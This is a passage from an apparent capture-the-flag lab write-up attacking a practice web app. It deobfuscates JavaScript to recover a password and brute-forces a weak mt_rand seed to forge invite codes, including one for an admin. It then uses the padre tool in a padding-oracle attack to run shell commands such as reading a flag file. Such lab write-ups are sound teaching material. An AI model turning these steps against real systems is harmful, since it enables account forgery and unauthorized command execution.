<li>Email:<code>alpha@fake.thm</code> with the invitation code <code>MTM0ODMzNzEyMg==</code> has been deactivated</li>
<li>Email: <code>hello@fake.thm</code> as a new user created</li>
<li>URL: <code>dashboard.php</code></li>
</ul>
<p>Inspecting the main URL <code>http://10.114.184.31:1337</code> with <code>Network</code> nav from browser development tools:
<img alt="8" loading="lazy" src="/images/tactics/decryptify/8.png"></p>
<h2 id="javascript-obfuscation-analysis">JavaScript Obfuscation Analysis</h2>
<p>There is a script called <code>api.js</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span><span style="color:#f92672">=</span><span style="color:#a6e22e">a</span>();<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">f</span>,<span style="color:#a6e22e">g</span>){<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">f</span><span style="color:#f92672">-</span><span style="color:#ae81ff">0x165</span>;<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span><span style="color:#f92672">=</span><span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;},<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>,<span style="color:#a6e22e">d</span>);}<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>;<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>(){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span><span style="color:#f92672">=</span>[<span style="color:#e6db74">&#39;16OTYqOr&#39;</span>,<span style="color:#e6db74">&#39;861cPVRNJ&#39;</span>,<span style="color:#e6db74">&#39;474AnPRwy&#39;</span>,<span style="color:#e6db74">&#39;H7gY2tJ9wQzD4rS1&#39;</span>,<span style="color:#e6db74">&#39;5228dijopu&#39;</span>,<span style="color:#e6db74">&#39;29131EDUYqd&#39;</span>,<span style="color:#e6db74">&#39;8756315tjjUKB&#39;</span>,<span style="color:#e6db74">&#39;1232020YOKSiQ&#39;</span>,<span style="color:#e6db74">&#39;7042671GTNtXE&#39;</span>,<span style="color:#e6db74">&#39;1593688UqvBWv&#39;</span>,<span style="color:#e6db74">&#39;90209ggCpyY&#39;</span>];<span style="color:#a6e22e">a</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(){<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;};<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();}(<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">d</span>,<span style="color:#a6e22e">e</span>){<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#a6e22e">b</span>,<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">d</span>();<span style="color:#66d9ef">while</span>(<span style="color:#f92672">!!</span>[]){<span style="color:#66d9ef">try</span>{<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span><span style="color:#f92672">=</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16b</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x1</span><span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16f</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x2</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x167</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x3</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16a</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x4</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16c</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x5</span><span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x168</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x6</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x165</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x7</span>)<span style="color:#f92672">+-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x166</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x8</span><span style="color:#f92672">*</span>(parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16e</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0x9</span>)<span style="color:#f92672">+</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">0x16d</span>))<span style="color:#f92672">/</span><span style="color:#ae81ff">0xa</span>;<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">g</span><span style="color:#f92672">===</span><span style="color:#a6e22e">e</span>)<span style="color:#66d9ef">break</span>;<span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}<span style="color:#66d9ef">catch</span>(<span style="color:#a6e22e">h</span>){<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;push&#39;</span>](<span style="color:#a6e22e">f</span>[<span style="color:#e6db74">&#39;shift&#39;</span>]());}}}(<span style="color:#a6e22e">a</span>,<span style="color:#ae81ff">0xe43f0</span>));<span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span><span style="color:#f92672">=</span><span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">0x169</span>);
</span></span></code></pre></div><p>Looks like the function has been obfuscated. Using the following website <code>https://deobfuscate.io</code> to deobfuscate the current code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">e</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">f</span>, <span style="color:#a6e22e">g</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">f</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">357</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">e</span>[<span style="color:#a6e22e">f</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>  }, <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">c</span>, <span style="color:#a6e22e">d</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">k</span> <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;16OTYqOr&#34;</span>, <span style="color:#e6db74">&#34;861cPVRNJ&#34;</span>, <span style="color:#e6db74">&#34;474AnPRwy&#34;</span>, <span style="color:#e6db74">&#34;H7gY2tJ9wQzD4rS1&#34;</span>, <span style="color:#e6db74">&#34;5228dijopu&#34;</span>, <span style="color:#e6db74">&#34;29131EDUYqd&#34;</span>, <span style="color:#e6db74">&#34;8756315tjjUKB&#34;</span>, <span style="color:#e6db74">&#34;1232020YOKSiQ&#34;</span>, <span style="color:#e6db74">&#34;7042671GTNtXE&#34;</span>, <span style="color:#e6db74">&#34;1593688UqvBWv&#34;</span>, <span style="color:#e6db74">&#34;90209ggCpyY&#34;</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">k</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">d</span>, <span style="color:#a6e22e">e</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">f</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">d</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (<span style="color:#66d9ef">true</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">363</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">367</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">359</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">362</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">364</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">360</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">357</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">-</span>parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">358</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">8</span> <span style="color:#f92672">*</span> (parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">366</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">9</span>) <span style="color:#f92672">+</span> parseInt(<span style="color:#a6e22e">i</span>(<span style="color:#ae81ff">365</span>)) <span style="color:#f92672">/</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">===</span> <span style="color:#a6e22e">e</span>) <span style="color:#66d9ef">break</span>; <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">h</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">push</span>(<span style="color:#a6e22e">f</span>.<span style="color:#a6e22e">shift</span>());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}(<span style="color:#a6e22e">a</span>, <span style="color:#ae81ff">934896</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">c</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">j</span>(<span style="color:#ae81ff">361</span>);
</span></span></code></pre></div><p>There is a constant value invoked by <code>j(361)</code> assigned to a constant variable <code>c</code>. By inserting <code>console.log(c)</code> within <code>Console</code> nav from the browser development tools it should display a value:
<img alt="9" loading="lazy" src="/images/tactics/decryptify/10.png"></p>
<p>Output:</p>
<ul>
<li><code>H7gY2tJ9wQzD4rS1</code></li>
</ul>
<h1 id="exploitation">Exploitation</h1>
<h2 id="command-execution--privilege-escalation">Command Execution &amp; Privilege Escalation</h2>
<p>Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, was the correct choice to access the API documentation.</p>
<p>After trying to log in as <code>hello@fake.thm</code> with the <code>H7gY2tJ9wQzD4rS1</code> as the possible invitation code, it failed. Trying this string (<code>H7gY2tJ9wQzD4rS1</code>) to access <code>http://10.114.184.31:1337/api.php</code> where it only requires a password, it was the correct choice to access the API documentation.
<img alt="10" loading="lazy" src="/images/tactics/decryptify/11.png"></p>
<h3 id="step-1-cracking-the-constant-value">Step 1: Cracking the Constant Value</h3>
<p>It reveals the function that generates the invitation code against the user email.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span></code></pre></div><p>By knowing an existing active email <code>hello@fake.thm</code> it is only required to know the unknown <code>constant_value</code>. However, we already had an invitation sample code from <code>alpha@fake.thm</code> with the value of <code>MTM0ODMzNzEyMg==</code>. Observing the <code>php</code> code the <code>invite_code</code> value is encoded in <code>base64</code> format. Using <code>CyberChef</code> to decode the value.
<img alt="11" loading="lazy" src="/images/tactics/decryptify/12.png"></p>
<p>Output:</p>
<ul>
<li><code>1348337122</code></li>
</ul>
<p>This value was generated by <code>mt_rand</code> function. This function is a pseudo-random number generator that is not considered <strong>cryptographically secure</strong>, since if an attacker gets the seed, then the output can be predicted.
The <code>seed_value</code> is generated by (<code>seed_value = email_length + constant_value + email_hex</code>):</p>
<ul>
<li><code>email_length</code>
<ul>
<li><strong>14</strong></li>
</ul>
</li>
<li><code>constant_value</code>
<ul>
<li><strong>Unknown</strong></li>
</ul>
</li>
<li><code>email_hex</code>
<ul>
<li><code>61 6c 70 68 61 40 66 61 6b 65 2e 74 68 6d</code> (using <code>CyberChef</code>)</li>
<li>Substring between 0 to 8: <code>616c7068</code></li>
<li>Decimal: <code>54 49 54 99 55 48 54 56</code></li>
</ul>
</li>
</ul>
<p>To get the <code>constant_value</code> we know the seed from <code>alpha@fake.thm</code>:</p>
<p><strong>1348337122 = hexdec(14 + ? + 5449549955485456)</strong></p>
<p>It is possible to loop over possible values by try and error, therefore typing a little script in <code>php</code> is going to be the way to discover the <code>seed_value</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;alpha@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$target_invite_code <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;MTM0ODMzNzEyMg==&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email); <span style="color:#75715e">// 15
</span></span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>((<span style="color:#a6e22e">string</span>)($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Starting...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Loop over possible constant values
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> ($constant_value <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; $constant_value <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">100000</span>; $constant_value<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mt_srand</span>($seed_value);
</span></span><span style="display:flex;"><span>    $random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();
</span></span><span style="display:flex;"><span>    $invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ($invite_code <span style="color:#f92672">===</span> $target_invite_code) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Found constant value: </span><span style="color:#e6db74">$constant_value</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="12" loading="lazy" src="/images/tactics/decryptify/13.png">
Output:</p>
<ul>
<li><code>99999</code></li>
</ul>
<h3 id="step-2-generating-valid-invitation-codes">Step 2: Generating Valid Invitation Codes</h3>
<p>With the <code>constant_value</code> known, now it is possible to guess the <code>seed_value</code> that acts as the invitation code for <code>hello@fake.thm</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;hello@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="13" loading="lazy" src="/images/tactics/decryptify/14.png"></p>
<p>Output:</p>
<ul>
<li><code>NDYxNTg5ODkx</code></li>
</ul>
<p>The invitation code for <code>hello@fake.thm</code> is <code>NDYxNTg5ODkx</code>. Going back to the login with invite code page <code>http://10.114.184.31:1337</code> and inserting the corresponding values to access into the account:
<img alt="14" loading="lazy" src="/images/tactics/decryptify/15.png"></p>
<blockquote>
<p><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></p>
</blockquote>
<p>From the dashboard view it is displayed another account <code>admin@fake.thm</code>, this account has an <code>admin</code> role. Knowing this new email and the <code>constant_value</code> of the seed generator function, it is possible to extract the invitation code from the <code>admin@fake.thm</code> account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$email <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin@fake.thm&#34;</span>;
</span></span><span style="display:flex;"><span>$constant_value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;99999&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value) {  
</span></span><span style="display:flex;"><span>    $email_length <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($email);  
</span></span><span style="display:flex;"><span>    $email_hex <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>(<span style="color:#a6e22e">substr</span>($email, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">8</span>));  
</span></span><span style="display:flex;"><span>    $seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">hexdec</span>($email_length <span style="color:#f92672">+</span> $constant_value <span style="color:#f92672">+</span> $email_hex);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $seed_value;  
</span></span><span style="display:flex;"><span>}  
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span>$seed_value <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_seed_value</span>($email, $constant_value);  
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mt_srand</span>($seed_value);  
</span></span><span style="display:flex;"><span>$random <span style="color:#f92672">=</span> <span style="color:#a6e22e">mt_rand</span>();  
</span></span><span style="display:flex;"><span>$invite_code <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_encode</span>($random);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Invite code: </span><span style="color:#e6db74">$invite_code</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><img alt="15" loading="lazy" src="/images/tactics/decryptify/16.png"></p>
<p>Output:</p>
<ul>
<li><code>MTc0OTQ0NzAzNw==</code></li>
</ul>
<p>After attempting to log in as an <code>admin@fake.thm</code> using the generated invitation code <code>MTc0OTQ0NzAzNw==</code> it returned a failed attempt. Then, accessing as an admin uses a different encryption process.</p>
<h3 id="step-3-padding-oracle-attack">Step 3: Padding Oracle Attack</h3>
<p>Going back to <code>hello@fake.thm</code> account but this time using <code>Burp Suite</code> to observe all the interactions with the web service. Capturing the packet from the <code>Proxy</code> feature and sending the packet into <code>Repeater</code> to observe the response from the server.
<img alt="16" loading="lazy" src="/images/tactics/decryptify/17.png"></p>
<p>There is a <code>hidden</code> input. The <code>hidden</code> input is declared as <code>date</code> with the value <code>bRBHqQfs9f4UhFIitZJJelGfu+ezN6Ijmd7fg++7NVk=</code>, this value changes on each refresh from the page.
By deleting the value as an empty string and refreshing the web page to see if something happens.
<img alt="17" loading="lazy" src="/images/tactics/decryptify/18.png"></p>
<p>Error Output:</p>
<ul>
<li><code>Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length</code></li>
</ul>
<p>This system error displays the decryption operation reached the final block and the padding check failed. After a google search for the error <code>EVP_DecryptFinal</code> is part of <code>OpenSSL API</code>.
After sending a few requests using different <code>date</code>values a new error emerged.
<img alt="18" loading="lazy" src="/images/tactics/decryptify/19.png"></p>
<p>Output:</p>
<ul>
<li><code>Warning: openssl_decrypt(): IV passed is only 1 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0 in /var/www/html/dashboard.php on line 28</code></li>
</ul>
<p>This error means the code is calling <code>openssel_decrypt()</code> function with an <code>IV</code> (initialization vector) of the wrong length. The cipher/mode being used requires an <strong>8-bytes</strong>. This value is common in ciphers such as <strong>DES/3DES</strong> in <strong>CBC mode</strong>. The value that we are providing is the <code>IV</code>.</p>
<p>After a research through the Internet, <strong>DES/3DES</strong> in <strong>CBC mode</strong> are susceptible into <strong>padding oracle</strong> and <strong>bit-flipping</strong>.</p>
<ul>
<li><strong>Padding oracle attack</strong>: exploits how padding errors are handled. It occurs when the application reveals whether the padding of a decrypted message is valid or not, this enables to gain information about the plaintext without knowing the encryption key.</li>
</ul>
<p>After <code>dorking</code> (<code>site: github.com php padding oracle attack</code>) through the internet to get a program that exploits this specific vulnerability. A good candidate was <a href="https://github.com/glebarez/padre"><code>padre</code></a>, it supports tokens in <code>GET/POST</code> parameters and <code>Cookies</code>. Download the latest version and grant executable permissions using <code>chmod +x padre_linux_amd64</code>.</p>
<p>After some try and error and getting used to the new tool,<code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'ls'</code>
<img alt="19" loading="lazy" src="/images/tactics/decryptify/20.png"></p>
<p>Output:</p>
<ul>
<li><code>fXGHJVbs4t9lbmJyaWVhcw==</code></li>
</ul>
<p>Executing again the same command but modifying the command that we want to execute, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' 'fXGHJVbs4t9lbmJyaWVhcw=='</code>
<img alt="20" loading="lazy" src="/images/tactics/decryptify/21.png"></p>
<p>The system returned an output, therefore trying the specific path from the last flag question <code>/home/ubuntu/flag.txt</code>, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'cat /home/ubuntu/flag.txt'</code>
